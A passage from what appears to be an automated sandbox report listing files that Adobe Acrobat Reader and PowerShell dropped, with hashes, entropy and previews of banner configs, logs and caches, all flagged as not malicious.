Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.2970328843843095
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJfQ1rPeUkwRe9:YvXKXMLSZbsdTeONGY16Ukee9
MD5:	3C04533729EEBD8B8CDEE393E62EA5D6
SHA1:	25E25C0B240AA93BFE62BBEC78FF9885BE3A4230
SHA-256:	2F48D064B66057EF313C5AAA507F45D9F6545A92BD25EA70CDAED999ECA72E16
SHA-512:	0D9EF89E48C10545F196F5B3F53F511AF8B3BFF5AA861933E868DB04C5AE9F9FCA66683C04C08709C8D27F562F3D42EABFC89BBA27A8A5F9D9C592D43575D4A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311998467872834
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJfFldPeUkwRe9:YvXKXMLSZbsdTeONGz8Ukee9
MD5:	BAA2F4F2A0D4C77FA9BC325D3661409E
SHA1:	AC5AD93B27C6F321F6BFC9ED14BF7D15DB676FBB
SHA-256:	480F371487740C73F3B19762E74104FC397C4F5C4634DDB65222C59340F48E37
SHA-512:	DD3AE6E41FA4B6F322D866195BDECBB15D14EB7BCFE6FE7E191D935046303E400E6977945FB580DD9BD32DAAE248DA524E102EC331C11F9807245A7447E77BDA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.319927842713878
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJfzdPeUkwRe9:YvXKXMLSZbsdTeONGb8Ukee9
MD5:	DC71281439D2281A03DAA3D0DC053FD1
SHA1:	A79B690019624B9733FC3FB6190AA5B735D67C4A
SHA-256:	EC39CC70563DAE6EA5163E42C300502165C856A28005DD580FC50EC21B693796
SHA-512:	12B740D23C869F6B0AC5228F8901419E788AECC7BCF9EBEEA88550AE4AD26703A868391388E9DAAA22FB531F5AC8BF1E2EADCDF02134EA86B370D63B7E4473EF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.300289481360651
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJfYdPeUkwRe9:YvXKXMLSZbsdTeONGg8Ukee9
MD5:	AF30B89795F8E10178D71EBF5DD1277C
SHA1:	CC1567EC630A723F862A5117200E27204BAF5908
SHA-256:	2FE5D9EA69560F732CE8F41A20E41F14D07140DBC416F8FDE70C0B8F6B9E5EA6
SHA-512:	6BEDCC8D2B1DBB04BBB1DCB21C1CD9BF9D4A97DF282FB37E5CBBC74DBFD94FE7AE6277C0F6ABE2A638446FCA7BA3344BE7E9FA00C5D2B41BA4680115CF8C2858
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.286643941613993
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJf+dPeUkwRe9:YvXKXMLSZbsdTeONG28Ukee9
MD5:	E2D16FB3B0EF9F6F466E4E1A71B3DEF2
SHA1:	6F198ED50579271FB2E485AC85FA6C53D50D0FC7
SHA-256:	310CAAC671B2177127DB190AF4307FF634A4309E920D692C0370ACA3E0C21C89
SHA-512:	C903A16BD42205A278C7C2A7A9DB6889D0695FEB6AE1629B8E86971A25F24825248A9D75ECACCB6031942963D3E680E31DE631544FE09E3D1DF0C20EC104BB60
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.283834589471898
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJfbPtdPeUkwRe9:YvXKXMLSZbsdTeONGDV8Ukee9
MD5:	91E54C2207F147BA1B05B874572A2174
SHA1:	D8758D24A01805E46C400B36D5E8E1BBE68E49D5
SHA-256:	F415AD7F81BDB32929B1AA28263B9E874208C3B7AAB869D6FFFF58B08C8FA45B
SHA-512:	681316CBC3F782C82E99ECBA97B235FC33F09D2F57F77B98E122FB1E7506179A9054CFD353A7FA18327ED95D3DA93F1DD7F8B679A3EB549EF02C193F47722390
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.288175668351359
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJf21rPeUkwRe9:YvXKXMLSZbsdTeONG+16Ukee9
MD5:	BEEC8C3A334BBE454933ED5180F004CD
SHA1:	F988D34CB8D7C981F5B7CF8556D0AD712E1DA50E
SHA-256:	9B17FB98E7F0F39A22DF93D9613660BFB9E2EB1220229D4E1FC7CD53A3131C14
SHA-512:	90BCEC1A6202C1983890881CE3F819B4437034C5FCDEC282FF4BB1712CEEFAE9A6F8BDF43B5421D722146A41E215018BF9D0571AC999FBB7B88859CA0E07814A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.661739625857527
Encrypted:	false
SSDEEP:	24:Yv6XnmeOuamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSz6:YvTeJBgkDMUJUAh8cvMz6
MD5:	334F22DD8C6024595AEB33466A5684F2
SHA1:	B70A55B2CD97B271C39D9143D6B2B1AF648B661F
SHA-256:	01A6EAE22E7951E6C7797496CD4977D2A13E69EB0C5C8E02FC00BD5F4C0D1F87
SHA-512:	3EFABCE8BA8AAF0EBFC9EDB12C23602EB95D42BB95DF3C909FC5B77D41CBE00E73AC221F98950528E521FEC9E5E6224ECED0DC3FDADE7CFECFB97E8B53652995
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.263287746615936
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJfshHHrPeUkwRe9:YvXKXMLSZbsdTeONGUUUkee9
MD5:	B2FC3D55B626529C6433AC1CBE2CB92E
SHA1:	B8675B01BCE98E935F9F616C95D8E6DC07D30E82
SHA-256:	2EDBA84302A8DF2F14872BE7FAF96E9592188F40E79DB3A0E7A38F12DD2D4FAE
SHA-512:	CF0E81E5C22F1711AADBABD7F0C7F5195A12BD382D4D21B7F7DD57D3BBF5989909C21FB4FA5380114A56ACDFF8C2A29B53B586B466EB19BD75744FCDAEAAC705
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.278780050593428
Encrypted:	false
SSDEEP:	6:YEQXJ2HXMLI1PNn4WsGiIPEeOF0YP7WDoAvJTqgFCrPeUkwRe9:YvXKXMLSZbsdTeONGTq16Ukee9
MD5:	B963A42DEF4F01104C679F4D5953C37C
SHA1:	E0AB6E818692ABF0365D842C291B7A89BE13B80E
SHA-256:	554F6A1B430119BAB7477B73EBDA441BA29FA5EBF571080BA6F1186774374130
SHA-512:	3F47A20B60586F6870E1031418E9B4C695724A1D4DFD49D3A9695AA7333EEDB76CA49B507E575DB18CBE633A6C8959B5F98C3E1975BADE4E4337D17E7A0CD9F9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"74204e30-1db0-4c2d-bdfe-821f6a11bc74","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736749711760,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.134233576704404
Encrypted:	false
SSDEEP:	24:YZRa5wayWJ7p9PxpH1PJBcOUzdaLjs0sj0SFFkx2WH2LSfCXVy1cECoU3O57J9mX:Y45pH1PJc+n+E5HBgVyiECoRFJ9Zg
MD5:	853496B07158FE91D6901567C9A3CACE
SHA1:	31894570E8E51A9FEDE3F61B868F41193F29725C
SHA-256:	F301CD203E40D0AD60C94859D5EA4E4B70E687226CAB6277AC884ADBD92EC1F5
SHA-512:	EA6BC3BD5C60E23A7327E2691340F8C3D27C42338D3391F4CDE7546DE5339DB694F85E0FBB17ECA865CB811BC34898A40622520F3E9E6DC987F480752744EB42
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"ab0a27eac6c48b3c51ac51e313657d91","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736569711000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"bd19db4295dfc92eb3a6514187374ca2","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736569711000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"b856996a59c25e6eee0f6f982f1a048f","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736569711000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"ef43354c2b719f6e91f21acff18509d4","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736569711000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"eee9c5d7e304ad6b0d66edec31312958","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736569711000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d5f6266a6a3ca69eb1dbcc8384c44575","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4531655697721304
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsBxZKpulfxZKpI:lNVmsw3SHtbDbPe0K3+fDZd0kAkI
MD5:	44967A3A922111DAE11623AC3A70E239
SHA1:	FA426FB1A782401D18F6103B85DEC0B7FF564AC8
SHA-256:	0B0F67EC2AAEFB3F1725818CF1F23DB06D0A69FC2233EA739A87BEF9D772144C
SHA-512:	A7913F377F60B9A79832EC2CDAD3E30CAC75B70D212424FBDDD3F554A0F35AC5AAE2732310F7B19AC686C0C928CA63201116BA4CACA7D27148759962D1456745
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9594217959370936
Encrypted:	false
SSDEEP:	48:7MyrvrBd6dHtbGIbPe0K3+fDy2dsBxZKpfiqFl2GL7msl:7T3SHtbDbPe0K3+fDZd0k6KVmsl
MD5:	ECF7065E1A1C107E8C6AF6873A4EDFCA
SHA1:	B70FF8FD96AE2AE7E8C38B5392C741CAD5E70DBA
SHA-256:	FB4C62E4C15572C655916CA008FD89B144E7C778BB1E1D22AF9FDB040EB5339A
SHA-512:	FBC5E7F4879361C029C36FCA772D6E8559274EA7250903D13D47A408C9E731536E0E0410AB1BF21666235B2D89D6828AAE0A06A687FE5990F81226B9D6FF54D1
Malicious:	false
Preview:	.... .c...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEginuYR/SGZaeH1vYsiBPkkB3DdYyu:6a6TZ44ADE6uYR/juhky3DdK
MD5:	6AE1D9B879485D07573CA987C995AD83
SHA1:	D75D850422A4A347BDBAD4E7F4ABEBF4453E918A
SHA-256:	F3D0BA61F74C706E3BB84B8617502674D42CD594B841F2809865CB893CA15354
SHA-512:	72256D6ED17269E32B0477DCAD89DE3F0CE37D9D562AF7B79A47AB581D907167137192F6091809201C88E1D262070FFE70F147524C1950B81E9B4D5C10D93693
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1628158735648508
Encrypted:	false
SSDEEP:	3:NlllulLhwlz:NllUO
MD5:	F442CD24937ABD508058EA44FD91378E
SHA1:	FDE63CECA441AA1C5C9C401498F9032A23B38085
SHA-256:	E2960AF08E2EE7C9C72EEA31DBBFE1B55B9BF84DE2DD7BB7204487E6AF37B8F6
SHA-512:	927E2EEA0BB3FC3D3A0DA7F45644F594CE29F11D90A84B005D723500258DE9E8B3780EB87242F4C62B64B9FEEA1869FC16076FA3AC89EC34E0546CDE1BEF7631
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI8d40b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.513199765407527
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl1lrCH:Qw946cPbiOxDlbYnuRK+bClrw
MD5:	BF37C9531AE160165A0E51E53A1EFE5D
SHA1:	5EB81CA98722886FE6E9AAA6CB02700378712ADD
SHA-256:	0F380731A6F30CE355D5387BAC2024274DD0637C59AFC4F7C1DF5F34CE495746
SHA-512:	9896DFA466802A964765B1A769C871DAC90311F0D0AFE6BD369A180D87236437170D709F5CDFE5500B3D94D0B08EEA396A2E334EFB2F2F998B5896C7F0B27B44
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .2.3.:.2.8.:.3.3. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_an2n3mvy.pti.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vp2rx2er.fms.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 23-28-28-105.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.35590380902239
Encrypted:	false
SSDEEP:	384:lXtmlXoxar+87RFcomrGiNgtXzeSYPn1L82IaSoODCe9jxj13iIVn2nyjS48RGW6:HI+i
MD5:	F237404870400B8528B89E2DBF956E70
SHA1:	60F5F871923B0084E8ECD2AD36724C53BC3A19F5
SHA-256:	124EF443C5C39C6FE77F3A6989777FF5EB10C00DAFCBCAFDA7A69A1D6A14B354
SHA-512:	F17125D63C3EAB9D22A1428FCEF283D46201EE853CB257438379EC306FE2518DD8FE1FDA096E398F3279ABFA132C34AF1BEDC0500916408516F4228B961B298F
Malicious:	false
Preview:	SessionID=dea965f6-c48f-4ce7-8076-adc748e58dbe.1736569708116 Timestamp=2025-01-10T23:28:28:116-0500 ThreadID=7876 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=dea965f6-c48f-4ce7-8076-adc748e58dbe.1736569708116 Timestamp=2025-01-10T23:28:28:117-0500 ThreadID=7876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=dea965f6-c48f-4ce7-8076-adc748e58dbe.1736569708116 Timestamp=2025-01-10T23:28:28:117-0500 ThreadID=7876 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=dea965f6-c48f-4ce7-8076-adc748e58dbe.1736569708116 Timestamp=2025-01-10T23:28:28:117-0500 ThreadID=7876 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=dea965f6-c48f-4ce7-8076-adc748e58dbe.1736569708116 Timestamp=2025-01-10T23:28:28:117-0500 ThreadID=7876 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.4095875182240345
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gR3c:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRO
MD5:	E408737A7286D31EA5794D14B7461D2C
